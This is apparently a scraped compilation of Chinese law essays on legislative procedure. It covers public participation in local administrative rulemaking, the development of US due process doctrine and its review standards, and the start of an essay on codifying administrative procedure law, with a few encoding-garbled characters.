[4]费孝通:《乡土中国 生育制度》北大出版社1998年版10页 。

[5]孙洪坤:《程序与法治》中国检察出版社 2008版 第55页

[6]王瑞峰:“论清代刑事司法中的引断”,载《刑事法论评论》第17卷,中国政法大学出版社2005版, 307~349

[7]孙洪坤:《程序与法治》中国检察出版社 2008版第49页

[8]孙洪坤:《程序与法治》中国检察出版社 2008版第53页

[9]孙洪坤:《程序与法治》中国检察出版社 2008版第12页

[10]孙洪坤:《程序与法治》中国检察出版社 2008版第69页

立法程序论文第5篇

广州市于2007年元旦开始论文联盟实施的《规章制定公众参与办法》是我国首部规范公众参与地方行政立法的规范性文件,开启了公众参与机制对地方行政立法产生影响的新阶段。作为地方性的行政立法,其本身有十分特殊的地位和特点,这也使得在立法过程中,公众参与机制的不可或缺成为一种必然。

一、地方行政立法公众参与机制的法理基础

(一)平等原则

平等的价值观念在当下早已深入人心,而大多数人能平等的参与到社会管理活动中,正是法治社会重要表象之一。所以,针对地方行政立法的公众参与应当是实现法治的手段之一,平等原则是指导完善公众参与机制的首要原则。前文说过,地方行政立法主要是有权的地方行政机关作为主体的立法活动,因为是行政机关而非权力机关,所以地方行政立法的主体相对于其他立法活动是特殊的,地方行政立法更偏重体现的是行政首长负责制,更强调的是效率优先。地方行政立法的优点在于立法程序简单,灵活高效,但这也是它的缺点。因为立法主体的特殊和立法程序的简便,使得公众更多的只能通过单方接受的形式了解立法成果,对整个立法程序难以行使平等参与的权利。立法活动平等参与应当是一个法治社会赋予公众的政治自由和权利,那么,只有完善公众参与机制才能更好的维护平等的人权价值。

(二)民主原则

民主原则与前述的平等的价值观念应当是相辅相成的,只有在平等自由的环境下才有可能实现真正的民主。从社会契约论的角度出发,民众为了便利社会管理,寻求安定的社会秩序和实现最大的生存利益,将手中的一部分权力让渡出去,从而成为国家,成立政府。那么,政府的出发点应当是服务民众,政府的主要职责应当是保护公民的基本权利。最直接的方式莫过于使公众很好的参与到立法程序当中,而地方行政立法的内容往往同社会生活联系最为紧密,影响最为直接,如果公众很难参与到立法程序当中,很难保证所立之法维护的是谁的利益,事实表明大量的地方行政立法由于缺少必要的民意参与其中,出现了部门利益化的趋向,地方行政立法成为部门攫取利益的工具和手段。那么,《立法法》的第五条也规定了民主原则应当作为公众参与地方行政立法的基础性原则之一。由于立法是利益的博弈,我们很难相信行政机关会在不与公众广泛探讨的前提下自觉、先觉、完整的表达公众真实意愿,所以,只能由程序入手,采取完善的公众参与机制最大限度的化解多方利益间的矛盾。

(三)程序正当原则

想要达到通过程序化解立法中的利益博弈,意味着追求程序正当的原则成为完善地方行政立法公众参与机制的另一个法理基础。毋庸置疑,立法的目的在于追求良法,而良法的特性在于其内容的正当性,至少如边沁所说的那样应当实现最大多数人的最大幸福,而良法的产生必然是通过正当的立法程序达成的。前文述过,地方行政立法的程序相对其他立法活动比较简单,主体又相对特殊,因此亟需通过在立法过程中加入有效的公众参与机制来调和各方利益的衡平,保证程序的正当性。这实际上就是利益最大化问题下寻求分配正义与分配效率兼顾的一种途径。公正与效率二者的兼顾才能确保立法成果的正当,如果片面追求立法程序的民主性,会降低立法效率,使得非必要因素对立法活动介入过深。而片面追求立法程序的效率性,则难以避免出现缺乏民意参与和民意监督的暗箱操作。所以程序的正当要求我们以兼顾公正和效率为目的的完善公众参与机制。

二、地方行政立法公众参与机制现存的缺陷及完善

(一)地方行政立法公众参与现存缺陷

首先,参与地方行政立法主体范围过窄,根据《规章规定制定程序条例》规定,规章的直接相关利益人,法律专家等以及其他相关组织并不在申请立项主体之中。其次,行政机关信息公开力度有限,针对

转贴于论文联盟

地方行政立法的信息公开多限于立法文本,而对于立法过程中包括规划、立项、审议会议内容则并不属于公开范围。公众对立法背景和立法过程中的利益权衡知之甚少。最后,现有地方行政立法听证程序规定过于原则和模糊,缺少具体操作性。

立法程序论文第6篇

[关 键 词] 宪法 宪政 正当法律程序 检验标准

美国联邦宪法第五和第十四条修正案规定,“非经正当法律程序,不得剥夺任何人的生命、自由和财产”,这便是著名的正当法律程序条款。它虽然是美国宪法中最难理解的部分,[1](209页)却又被认为是美国法律的本质所在;[2](19页)它虽然引起了前所未有的论争,对什么是正当法律程序至今未达成一致意见,①却在上诉到联邦最高法院的案件中有40%与正当法律程序有关,在联邦最高法院适用于各个案件的次数远远超过美国宪法其它条款的规定,[3](68页)而成为美国公民权利的最重要的宪法保障。[4](54页)正当法律程序的理论和实践已经成为美国宪政的基石。正如美国著名法官本杰明·卡多佐所指出的,“不经正当法律过程,无人应被剥夺自由,这是一个最具普遍性的概念。”[5](46页)“当今世界任何一个追求文明与进步的民族,都应该有他们自己的正当程序,尽管他们也许并不使用‘正当程序’这个称谓”,[6](149-150页)“这是当今世界的任何一种司法制度须臾不可缺的东西。”[6](137页)看来,正当法律程序正在超越英、美法系的传统文化藩篱,而逐渐为世界其他法律文化所认同。

壹 从程序性正当法律程序到实质性正当法律程序

丹宁勋爵在他的《法律的正当程序》中说:“我所说的‘正当程序’指的不是枯燥的诉讼案例,它在这里和国会第一次使用这个词时所指的意思倒极其相似。wWw.lw881.com它出现在1354年爱德华三世第二十八号法令第三章中:‘未经法律的正当程序进行答辩,对任何财产和身份的拥有者一律不得剥夺其土地或住所,不得逮捕或监禁,不得剥夺继承权和生命’。”“我所说的正当程序也和麦迪逊(madison)提出美国宪法修正案时所说的非常相似,它已被1791年第五条修正案所确认,即‘未经法律的正当程序,不得剥夺任何人的生命、自由和财产’。”[7](前言)“法律的正当程序”即本文的正当法律程序,英文表达为:due process of law。②在这里,丹宁勋爵的前一句话揭示了正当法律程序的渊源:1354年,真正法律意义上的正当法律程序条款第一次正式出现在爱德华三世的法律文件中。以非正式法令形式出现的正当程序条款则可追溯到中世纪的神圣罗马帝国,康得拉二世有“不依帝国法律以及同等地位族的审判,不得剥夺任何人的封邑”的规定,这是给封建贵族的特权或帝王赋予的权利的司法保障。[3](62页)1215年英国《自由大宪章》第39章规定:“凡自由民除经其贵族依法判决或遵照国内法律之规定外,不得加以放逐、伤害、搜索或者逮捕。”这一规定反映了封建贵族与封建君主斗争的成果,即用法律程序对封建君主加以约束,而对封建贵族加以保护。[3](62页)康得拉二世及《自由大宪章》的规定,与后来的正当法律程序的含义相去甚远,它只是一种贵族的特权,而非普遍意义上的权利(哪怕只是程序性的!)。美国最早、最完整规定“正当法律程序”是1780年的马萨诸塞州宪法:“未经正当法律程序,任何人的生命、财产不得剥夺。”[3](62页)1791年第五条修正案是美国联邦宪法第一次对正当法律程序作出规定,1868年第十四条修正案是美国宪法第二次对正当法律程序作出规定。然而,丹宁勋爵所说的“法律的正当程序”并不就是后来美国宪法第五条、第十四条修正案在司法实践所“形成”的正当法律程序,尽管他的上述第二句话棗“我所说的正当程序和麦迪逊提出美国宪法修正案时所说的非常相似”棗是无可置疑的。这是因为,丹宁勋爵的“法律的正当程序”和麦迪逊提出的第五条修正案中的“正当法律程序”都仅意指程序性正当法律程序(procedural due process)。对此,丹宁勋爵作如是解释:“我所说的经‘法律的正当程序’,系指法律为了保持日常司法工作的纯洁性而认可的各种方法:促使审判和调查公正地进行,逮捕和搜查适当地采用,法律援助顺利地取得,以及消除不必要的延误等等。”[7](前言)在这种意义上,自然公正(natural justice)原则是正当法律程序在英国的独特表现形式,[6](147页)是有道理的。自然公正有两个基本要求,一是任何人不得自己案件的法官。二是应当听取双方当事人的意见。[8](55页)1932年,英国大臣权力委员会又提出两项新的自然公正原则:其一是,无论处理争议的程序是司法性质的还是非司法性质的,争议各方都有权了解作出裁决的理由。其二是,如果对负责调查的官员所提出的报告草案提出了公众质询,那么争议各方有权得到该报告的副本。[8](55-56页)自然公正的这些原则都是程序性的。程序性正当法律程序是法律实施的方法和过程,其基本要求是程序公正。它是“要过问政府行事的方式以及它所采用的执行机制。当政府剥夺一个人已经获得的生命、自由或财产利益时,第五条和第十四条修正案的正当程序条款要求程序上的公正性。”[9](128页)或者说程序性正当法律程序是指法律赖以实施的方法或法律采用的方式。[1](209页)它是对怎样行使政府权力加以限制,它同法律的程序有关,主要限制行政部门和司法部门。[1](211页,着重号为作者所加)麦迪逊将正当法律程序写入其起草的《权利法案》初稿时,他便只是把正当法律程序看作一种程序上的保障。[10](55页)在第五条修正案通过后很长一段时间“所谓的‘正当法律程序’还仅指刑事诉讼程序问题,即指要保证被告一定按照法律规定的刑事诉讼程序来公平受审,刑事被告人享有一定的受保护的权利,政府只有遵守这些法定程序,才可以采取对被告人不利的行动。它既不与公民的既得权利相联系,也不涉及到防范立法机关对私人财产的影响问题。”[3](63页)在这个时候,它要求的具体程序是:“先审讯,后宣判;根据调查起诉,只有在审问或某种听证之后才能作出判决。”[1](209页)那么,什么程序是正当的呢?在联邦法庭上,正当程序要求小心遵从第四条至第八修正案中列出的权利法案条款。“什么是正当的这一问题在另类诉讼中就是:为保证基本公平必须做什么。”这要求至少“涉及的人必须获得适当通知并有机会被听取陈述。”[1](210页,着重号为原文所加)但许多美国学者不加以分析和概而把联邦宪法第1-10条修正案中所适合的程序保障要求直接视为程序性正当法律程序的具体标准。[8](57页)程序性正当法律程序的实质是一种最低限度的程序保障。

然而,早期的(程序性)正当法律程序是建立在一种可疑的理论基础之上的。权利法案的目的是为了“通过规定在例外的情况下权力不应当行使或不应以某一特定的方式行使,对权力加以限制和限定。”[10](35页)权利法案特别是(程序性)正当法律程序并不能全部达成这一目标,这时对政府权力特别是立法机关的权力的实质性限制依赖于自然法。1909年,迪安·庞德写道:“我们必须记住,自然法是《权利法案》的理论根据,”“宪法贯穿了自然法的观念”。[11](145页)后来随着坎特著作的出版,出现了对自然法的怀疑,自然法理论随之式微。③宪法的核心从自然法的理论迅速转向包含在正当程序条款中的明示的限制。④正当法律程序的含义获得了实质性的发展,以致不论从实体法还是从程序法的观点看,个人权利都是由正当法律程序保护的。实质性正当法律程序(substantive due process)是对联邦和州政府部门立法权的一项宪法限制,即“对行使政府权力做什么加以限制”,“同法律的内容有关”,主要限制立法部门。[1](211页)它是指一项“不合理”的法律,即使是恰当地通过了,恰当地实施了,仍是违宪。它要求任何一项涉及剥夺公民生命、自由或财产的法律不能是不合理的、任意的或反复无常的,而应符合公平、正义、理性等基本理念。

实质性正当法律程序的概念首先是由州法院的判决确立起来的。最引人注目的是纽约州上诉法院的判决,其中最为著名的是1856年怀尼哈默诉人民案的判决。该案起因于一项纽约州禁止出售非医用烈性酒并禁止在住所之外的任何地方储放非用于销售的酒类的法律,纽约州法院认为,“该法的实施,消灭和破坏了这个州的公民拥有烈性酒的财产权”,这恐怕与正当程序条款的精神不符。[10](56页)这一判决的意义在于纽约州法院用实质性正当法律程序代替了自然法,对立法权进行实质性的制约。9年后联邦最高法院在威尼诉哈默案中首次将正当法律程序条款作为实体法条款使用。[3](64页)至此,正当法律程序开始成为一种防范立法机关对私人财产权不合理干涉的有力工具。1866年,国会提出了第14条宪法修正案,1867年该修正案被宣布生效。纽约州法院审理怀尼哈默案的推理最终为包括联邦最高法院在内的美国法院所普遍采纳,正当法律程序成为了一项真正的宪法制度。第14条修正案是划时代条款,“代表了一场真正的宪法革命”。[10](114页)其后果之一便是实现了公民权利的联邦化,[10](105页)即使权利法案的各项基本权利“加以并入”并使之适用于各州。1968年,在邓肯诉路易斯安那州案中,联邦最高法院裁定,一项从权利法案中“吸收来的”保障要按它制约联邦政府的同样程度和同样方式来制约州。[9](101-102页)从单纯程序性正当法律程序到同时兼含实质性正当法律程序的演进过程,揭示了:第一,美国宪法的条文具有高度概括性、抽象性和包容性,虽然仍是宪法第五条、第十四条修正案的条文,却前后包含截然不同的含义,甚至不同的宪法内容,在保持宪法条文不变的情况下,宪法内容发生了极大的变化。这是美国宪法发展的主流方式,它是美国宪法历200余年而能保持其稳定外观的根本原因,也是美国宪法具有灵活性特征的关键。第二,随着联邦最高法院权力的扩大,需要对国家权力依制衡原则重新配置,从而使三权分立制度更趋合理、稳定、平衡。宪法内容的上述发展基本上是由法院来完成的,它是法官运用特定时期的宪法理论对宪法条文进行解释的结果。这种宪法解释的权力是马歇尔的联邦最高法院在1803年马伯里诉麦迪逊案中确立的,对宪法的解释及在此基础上建立起来的违宪审查制度,使美国法院获得了三权分立体制中最实在的权力。第三,人权保障得到加强。就公民而言,他不仅可以就司法和行政中程序性权利请求法院保护,而且还可以就联邦及州的立法请求法院进行违宪审查,以保障其实体权利不受侵害或者在其受到侵害后能得到合理的救济。

贰 正当法律程序的实践检验标准

(一)实质性正当法律程序的司法检验标准

1、理性基础检验标准

理性基础检验标准是一种最低层次的审查标准。这一标准主要适用于经济案件中。企业界历来在宪法中寻找依据,以便保护其财产免遭州的经济管制和干预。宪法上常被引用来支持这一保护的章节就是第十四条修正案的正当法律程序。[9](103页)在早期,联邦最高法院占主导地位的观点是:在经济案件中司法部门对立法部门的判断应持尊重态度。[9](105页)在罗斯福“新政”时期,最高法院坚持一种激进的正当程序哲学,常常以违反正当法律程序为由宣布“新政”立法违宪,⑤导致罗斯福总统在1937年2月向国会提出了改组联邦最高法院和联邦司法系统的法案。罗斯福改组法院计划虽未获成功,但联邦最高法院从1937年4月开始,法官们对每一个提交给他们的新政法令都采取支持态度,其中包括一些基本类似于过去被宣布为无效的新政法令。[10](180页)联邦最高法院的这一转变,史称1937年宪法革命。1937年以后,最高法院审慎地抛弃了激进的正当程序哲学,认为只要是“为了社会利益而颁布的法令,都是符合正当法律程序的”,⑥并且从“司法尊重很快转变成在经济管制案件中完全取消审查。”[9](106页)最高法院声称:“立法机关是否把亚当·斯密、赫伯特·斯宾塞、凯恩斯爵士或其他一些人的学说当作教科书,与我们的判决并无关系”;[10](184页)“一部宪法无意体现一种具体的经济理论,无论它是家长制理论,公民与国家的有机关系理论,还是自由放任理论”。[5](48页)虽然如此,理性基础检验标准在名义上仍然存在,法院用以审查社会经济法律时,先假设该法律合宪,而“把证明该法律与所允许的政府利益没有任何理性关系的举证责任放在提出质疑的一方的肩上”。[9](106页)理性基础检验标准在最高法院审理经济案件中的变迁,标明正当法律程序在这一领域的衰落,其实质是在相互分立的三权之间对经济领域立法权力的重新配置棗最高法院采取了退让的办法以维持三方均衡。不过,“法院在经济领域退让的东西,正是它在其他领域新获得的东西,其中最为显著的是公民基本权利和自由之保护领域获得的东西。”[2](13页)法院在对涉及公民基本权利和公民自由的立法采取了严格的检验标准。

2、严格检验标准

如上所述,严格检验标准针对的是联邦或州对个人基本权利进行限制的立法。在理性基础检验标准的情况下,一项法律只要与所允许的政府目标之间有理性关系,就能得到法院的维护。而在严格检验标准情况下,仅有理性关系是不够的,还要求政府必须确定,该法是严格地适应紧迫或重大的政府利益的。[9](109页)但是,严格检验的标准并非始终如一,一般地讲,可以说随着对被保护权利施加的压力越大,就越强烈地要求政府申述理由。[9](110页)严格检验所针对的个人基本权利包括两部分:一是法明示的权利和从宪法文本中引伸出来的权利,二是司法上产生的权利。[9](127页)任何一项针对个人基本权利的立法的违宪审查申请,都要证明权利是宪法明示或引伸出来的,否则,很难得到法院的同情。对于如何确定《宪法》条文中引伸出来的权利,存在着很大的争议。一种观点认为通过对宪法本身的解释来找出宪法权利。一种观点认为在宪法条文之外存在着宪法原则或准则,通过这些宪法原则或准则可以发现和形成宪法外的基本权利。确定宪法外基本权利的依据包括:其一是依靠传统和习惯得来的价值观,其二是一种动态方法确定那些包含在有秩序自由的概念中的价值观。⑦总之,在司法实践中确立起来的严格检验标准,体现了联邦法院对人权给予严格保护的积极态度。

3、中间层次检验标准

这一检验标准介于理性基础检验和严格检验标准之间,主要针对的是婚姻和家庭权利。对婚姻、家庭权利之所以采用中间层次检验标准,是因为在性质上,婚姻、家庭权利对于个人的意义介于经济权利与个人基本权利之间,“一项利益是否受正当程序的保护,取决于该项利益的性质,不取决于该项利益对个人的重要性。”[1](210页)最高法院一面声称“本法院始终认为,个人对婚姻和家庭生活方面的选择自由是受第十四条修正案正当程序条款保护的自由之一。”(1974年克利夫兰教育委员会诉拉费勒案)[9](122页)最高法院同时又主张:法律必须服务于“各种重要的政治目标,并且必须与这些政府目标的实践具有实质性的联系。”[12]这说明,对婚姻、家庭权利方面的立法的司法审查中,只要该立法与政府目标具有实质性的联系就能得到法院的维护,而不要求该立法严格地适应紧迫的、重大的政府利益。

(二)程序性正当法律程序的实践标准

在美国,“宪法上的程序性正当程序的要求在原则上只适用于裁决性活动,而不适用于制定规则的活动。”[13]适用于裁决性活动的程序性正当法律程序,其基本要求是程序正当或程序公正。联邦最高法院大法官杰克逊认为,“程序的公正和合理是自由的内在本质,”如果可能的话,人们宁愿选择通过公正的程序实施一项暴厉的实体法,也不愿选择通过不公正的程序实施一项较为宽容的实体法。[8](56页)然而,什么程序是正当的呢?在美国,无论是理论上还是实践中都没有令人信服的答案。目前,只在一个问题上达成了一致意见,即“什么程序是正当的乃是一个靠法院解释‘正当程序’含义来回答的联邦宪法问题。”[9](134页)如前所述,从联邦最高法院的判例及坚持的理论看,在司法及行政执法中严格遵从《权利法案》的条款,保障涉及的人获得适当通知并有机会被听取陈述,是程序公正的最一般的要求。即使如此,联邦最高法院在“马休斯诉埃尔德里奇案”(1976年)以后正当法律程序分析保持了极大的灵活性。在具体的案件中,如何判断所采取的程序是否满足正当法律程序的要求?法院在早期采用一种被称为“历史判断模式的方法,将制宪者的原意作为程序正当性的判断依据。⑧在“马休斯诉埃尔德里奇案”中,最高法院确立了一种新的、灵活的判断标准,它判断程序正当性的依据是:“第一,受官方行动损害的私人利益;第二,通过所采用的程序造成错误地剥夺该利益的危险,以及附加的或替代的程序保护的可能价值,如果有这方面的价值要考虑的话;最后,政府的利益,包括有关的职能,以及附加的或替代的程序法规定所造成的财政和行政负担。”[9](135页))我国有人将这一新的判断标准称为“利益衡量模式”,[3](68页以下)而美国学者称之为“三部分检验法”。[9](135页)这一判断模式是目前联邦最高法院有关正当程序判断的主导模式,尽管它也招致了许多批评。根据这一标准,最高法院对程序正当性的判断可以因案而异,具有很强的主动性、灵活性。最高法院正是籍此随时根据社会的变化及时进行政策调整,从而不断获得权力,提高地位,并最终成为美国宪政制度的核心。然而,对最高法院的这一趋向并非没有限制,如,就刑事案件而言,程序性正当法律程序保障被告人至少享有如下程序性权利:(1)通知指控罪名的权利;(2)受审的权利;(3)由辩护律师辩护的权利;(4)对指控罪名答辩的权利;(5)与指控人和证人当面对质与辩论的权利;(6)拒绝自认犯罪的权利;(7)出示被告人证人的权利;(8)无罪推定的权利,即被告人被视为无罪,除非法庭在审判期间根据实质证据证明被告人有罪;(9)获得判决书的权利;(10)上诉的权利。[14](8页)又如行政法领域,在正当程序诉讼中最经常地予以审核的程序权利包括:(1)事前的通知和听证的权利;(2)获得审判形式的听证的权利;(3)律师辩护权;(4)由公正无私裁决人进行裁决的权利;(5)获得调查结果和结论的权利。[15](131-145页)对以上任何一项权利的剥夺,都将导致裁决无效。

叁 正当法律程序的宪政意义

正当法律程序,在美国宪法中只有两条简单的条文,而在司法实践中却发展出了丰富而且具有特别重要意义的理论体系,形成了美国宪政制度的重要特色。美国宪政中正当法律程序的理论与实践,在以下几个方面给我们当今的宪政建设提供了启示:

1、对权力的程序制约,是现代宪政的重要原则和发展趋势。美国的宪政制度比较彻底地贯彻了权力分立原则,无论是横向的立法、行政、司法三权分立,还是纵向的联邦、州、地方政权的权力分立,都是西方国家的典范。权力分立的原始意图是对权力进行制约即以权力制约权力。对权力如何制约呢?除了用宪法详细规定各种权力的范围并使各种权力行使者之间相互制约外,美国宪法还确立了以程序制约权力的原则,即不论何种权力的行使都必须遵循正当法律程序。官方行动与法律的一致性是法治的基本原则之一。在美国,维护这一原则的核心手段便是正当法律程序。[16](246-247页)甚至有人认为,“在对各种可能的选择谨慎地加以权衡之后精雕细刻出的程序,是保证一个文明社会认为值得保护的所有不同权利最大限度地实现的唯一方法。”[17](107页)正当法律程序是对权力的根本性制约,是对权利的最低限度的保障。如果说权力分立为权力的行使划定了范围,那么正当法律程序则是权力行使的边界或底线。“现代宪法主要以程序为导向”,[18](6页)程序的稳定性被认为是立宪政体的主要特征之一,[19](201页)这意味着程序对权力的制约也应当是长期而稳定的。当今,我国上下都在谈论“依法治国建设社会主义法治国家”,其实,法治的关键便是治权。但仅有依法治权或依法定程序是不够的,因为,法律规定的程序并不一定合理、正当。我们必须在宪法中确立正当法律程序原则,构建一套完整、合理的实施制度,为权力的行使划定一个边界或底线。惟其如此,宪法规定的基本权利和自由才能得到有效的保障。

2、程序本位是现代宪政重要的价值取向和基本要求。“一个社会的立宪正体的生存主要取决于基本规则及其实践与该地大多数人民的行为、习惯和思想方式相一致的程序。”[19](201页)在美国,凡被认定为违反正当法律程序的立法、行为都被宣布为无效。也就是说,评价一个法律程序的唯一标准是程序本身的内在品质即程序是否正当,而不是程序作为实现某种外在目的的手段的有效性,因此,程序具有价值上的独立性。在美国宪法中,除了第五、第十四条修正案外,还有大量关于诉讼程序方面的规定。联邦高等法院大法官w·道格拉斯(douglas)评论说,“权利法案的大多数规定都是程序性条款,这一事实决不是无意义的。正是程序决定了法治与恣意的人治之间的基本区别。”[16](221页)在英国宪法中,程序问题也具有特殊的重要性,其最重要的宪法文件都与诉讼的原则、制度、规则有关,英国宪法甚至没有关于公民实体的权利和自由的具体规定。[16](221页)作为正当法律程序在英国特有表现形式的自然公正原则甚至也被认为是英国立宪体制的基本标志。[20](45页)长期以来,我国存在重实体、重结果而轻程序的观念,并导致具体法律制度中程序规定零散、不科学、不合理普遍存在。在传统观念中,程序仅仅是实现某种特定外在目的的工具和手段,只有“依法定程序”的说法,而没有“正当法律程序”的概念。这与现代法治社会中程序本位观念格格不入。程序本位是法治社会的基本理念之一,它是现代宪政的前提。可以说,不树立程序本位观念,则不能建成法治国家。树立程序本位的关键是在法律上、制度上完全、彻底地排除违反法律程序的立法、行为的有效性。

3、宪法中正当法律程序条款的司法适用,是宪法司法化的重要途径,是宪政与宪法发展的基本方式和动力。美国宪法中正当法律程序从两条简单的条文演绎成不断发展、完善的理论并形成各种学说,是美国宪法经由法院不断地运用于具体案件即宪法司法化的结果。有学者认为,在美国,过去40年左右是司法革命的年代,而对这场革命的解释要从其宪法中寻找答案。因为,美国“在过去的一个世纪里,宪法本身并没有发生什么重大的变化。对美国宪法的戏剧性革新,从形式上讲,主要来自对一条法条的‘诠释’。该条就是1868年植入宪法的宪法第14条修正案。实际上,几乎所有的上述变化都涉及对该项修正案中两句短语的解释,即关于正当程序原则和平等保障原则的解释。”[2](16页)正当法律程序本身是宪法司法程序的一部分。宪法和其他任何法律一样,正是籍此适用于具体案件才真正具有了生命力。正如有人指出的,“司法具有特殊的作用。它是从书本上的法到实际生活中的法之桥梁,是从原则转化为实际规则的中介。”[21](4页)正是宪法的司法化,美国宪法获得了发展的途径,成为了一部“活的宪法”。正当法律程序的发展,仅是美国宪法在条文不变情况下获得发展的一个典型的例证,其他许多条款也在司法实践中获得了极大的发展,如契约自由条款、平等保护条款等都是如此。正当法律程序条款的司法适用,使美国宪法具有很强的适应性,一方面它使宪法保持了较强的稳定性,另一方面它又极大地容纳了社会的发展,这使得宪法“旧的形式依然存在,但它们已经充满了新的内容。”[5](62页)“最成功的宪法是那些允许发展而又不常改变字面意义的宪法。”[19](201页)在我国,宪法被排除在司法领域之外,宪法的发展,非常有限,已有的发展多半不是来自宪法本身及宪法实践,而是来自政治及其他法律发展后的推动作用。宪法的司法化,应当成为我国宪政建设中的重要议题;而宪法司法化的前提必须是健全、完善的宪法实施程序,当然,其核心是确立正当法律程序原则。

注释

① 《民治政府》一书的作者认为,要准确弄清什么是正当法律程序是不可能的。(见该书第209页)

② 有人认为,“法律的正当程序”与“正当法律程序”是有区别的,前者侧重程序的形式合法性,后者强调程序的实质正义性。(参见杨一平《司法正义论》第137页)笔者认为,这种区别其实并不存在,“法律的正当程序”与“正当法律程序”仅是due process of law的两种不同译法棗中文表达的字面差异,而due process of law包含了上述两层含义,这反映了两种语言之间缺乏严格的对应关系。目前学界多将due process of law译为“正当法律程序”,并同时包含上述两种含义。笔者认为这种观点更可取。

③ 在美国法学中废弃自然法的理由包括:1,当代盛行的法学既非哲理的,也不是历史的,而是社会学的;2,自然法是哲理的而不是法学的,其十分抽象的价值判断不能具体地用于审理特定的案件;3,除非每个人的道德和经济观念一致,并崇拜控制他们的单一权威,否则,自然法理论是无法运用的;4,随着宪法判决的增加,法官们现在无需援引自然法便可找到支持自己主张的判例。(参见《美国宪法判例与解释》,第154—155页)

④ 有关内容参见《美国法律史》第56页的论述。另,n·卢曼进一步认为:自然法的失坠是由程序来补偿的。(见吕世伦主编《当代西方理论法学研究》,第232页)

⑤ 王希在《原则与妥协:美国宪法的精神与实践》(北京大学出版社2000年)一书中对此有更为明确的表述,“在判决中,他们(指联邦最高法院的保护派大法官椧咦ⅲ┚r玫谖逄跣拚福ū;げ撇ǎ┖偷谑奶跸芊ㄐ拚福ㄕ背绦蛱蹩詈吞厝盎砻馊ㄌ蹩睿├聪蛐抡商粽健!保檬榈?/font>433页)

⑥ 有关内容参见《美国法律史》第183页;另见《原则与妥协:美国宪法的精神与实践》第469页。

⑦ 相关分析参见《美国宪法概论》第110-111页有关内容。

⑧ 关于历史判断模式,参见《宪法教学案例》第70页有关内容。

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立法程序论文第7篇

【关键词】行政程序立法/行政程序价值/模式化研究/比较法/民主参与/形式合理性

【正文】

一、引言

世界各国行政法共通的一个重要特点,就是没有一部统一、完整的法典,其规范散见 于各种各样的单行法律、法规、规章乃至千姿百态的行政决定、命令中。这是因为,行 政法所规范的对象种类繁多,层次各异,变化多端,决定了行政法规范数量庞杂,层次 多样,并处于随着形势的发展而不断立、改、废的变动过程之中。然而,第二次世界大 战以后,随着两大法系相互融合,程序法的理念被注入传统行政法学体系之中,程序正 义和实体正义共同构成了现代各国行政法追求的共同目标价值,而行政程序的相对整齐 划一性及稳定性,使得制定行政程序法典成为可能。于是,出现了以1946年美国《联邦 行政程序法》(APA)为代表的行政程序法典化的世界潮流。

伴随着依法治国的进程,中国理论界和实务界逐渐认识到所谓“重实体而轻程序”的 传统积弊的危害性,越来越多的人开始关注程序的价值,并试图以自己的努力来改变这 种倾向。近20年来,人们在致力于各方面的程序研究和体系架构的过程中,各界已经基 本上达成了一种共识——程序建设在现代法治国家具有极其重要的价值。这种共识反映 在行政法学领域,制定行政程序法典,建立健全中国行政程序法体系,便自然成为诸多 仁人志士所追求的共同目标。可以说,这是中国行政法治的必然归宿,是中国走向法治 国家的希望所在。

中国行政法学界对于行政程序的研究,不仅有诸多教材进行高屋建瓴的概述,而且有 专门的论文、论著的介绍、比较、汇总、剖析,可谓成果颇丰,令人欣喜。更为可喜的 是,20世纪90年代以后,中国的行政程序立法呈现出系统化的倾向。全国人大常委会法 工委委托专家来起草行政程序法典,这对于中国的法治建设和社会发展将具有极其重要 的意义。但是,当我们踏着行政程序法典化这一世界性浪潮,试图架构我国行政程序法 典时,便会不无遗憾地发现,我们在理论研究和立法实践方面的努力,都远远不能适应 制定行政程序法典的现实需要。

2002年6月,中德行政程序立法研讨会在北京举行,意大利Pavia大学法拉利(Erminio Ferrari)教授就意大利的行政程序法作了介绍。意大利行政程序法之适用范围的广泛性 、主体的多样性以及对其他相关问题的充分考量,促发了我对目前我国行政程序立法的 诸多思考。我们在谈到借鉴外国经验的时候,往往局限于参照外国的法典条文,这是远 远不够的。在目前这诸多研究中似乎较多地集中于各国的模式归纳、原则介绍和具体法 律条文的比较,而较少有关其立法背景的探讨。尤其是关于各国行政程序法立法状况, 寥寥数语,可谓简洁,有关罗列却难以使人窥见其立法过程。而从立法政策学的角度来 看,有关立法背景的探讨和剖析恰恰是最为重要的。既然在我们之前已经有诸多国家进 行了行政程序立法的探索,既然行政程序立法已经成为我们建设法治国家的一个具体目 标,既然有关部门已经将行政程序法典的起草工作委托给学界,那么,就有必要对有关 问题进行全方位的、系统而深入的研究。本文将参照目前的《行政程序法》“试拟框架 ”,阐述笔者的立法构思,并对以往有关行政程序方面的研究乃至立法过程中的有关问 题展开必要的反思,以期引起学界同仁对这一问题的关注,提出更为高明的见解和主张 ,推进我国行政程序法学研究,并服务于我国行政程序立法的实践。

二、我国理论界有关行政程序法研究的状况

(一)关于国外行政程序立法背景的研究

有人认为,1889年西班牙议会制定的《行政程序法》开现代行政程序立法之先河,为 现代世界各国竞相仿效而成为典范。[1]也有人认为,世界上最早制定行政程序法的“ 桂冠”应当归属于善于哲学思维的德国人,将行政程序立法史前溯至1883年。[2]虽然 在行政程序立法史的研究方面存在一定的不一致性,但是,人们对世界性行政程序法典 化的背景分析,则基本上不存在争议。一般认为,对行政程序的普遍立法起始于20世纪 中叶,造就这一事实与结果的直接动因,还应归结于国家行政权力的扩张、“法治国” 原则的贯彻以及“程序理性”(Procedural Rationality)观念的深化等诸因素的交融。 [3]美国规制机构的出现正是国家行政权力扩张的结果,是现代国家行政权能发展的必 然要求,也是对美国宪法确立的分权原则的一种挑战。正是由于20世纪30年代规制机构 的决策程序引起了人们的普遍关注,使人们认识到对这些机构的运作程序加以规范的必 要性,才促成了1946年《联邦行政程序法》的颁布实施。(注:参见华琳于2001年5月18 日刊发于“行政法论坛”网站上的帖子“Administrative Procedure Act(行政程序法) ”。)可见,美国之所以将行政程序法等同于行政法,是因为存在这样一个前提,即行 政机关在实体方面已经拥有了准立法权、准司法权和传统意义上的行政权这样的充足权 力。在这种前提下,为行政权力立法,其目的便自然归结为给既有的权力设定运作的规 则。换言之,当不存在这种前提时,为行政权力立法,则宜于或者说必须从实体和程序 两个方面入手。

(二)关于各国行政程序立法模式的研究

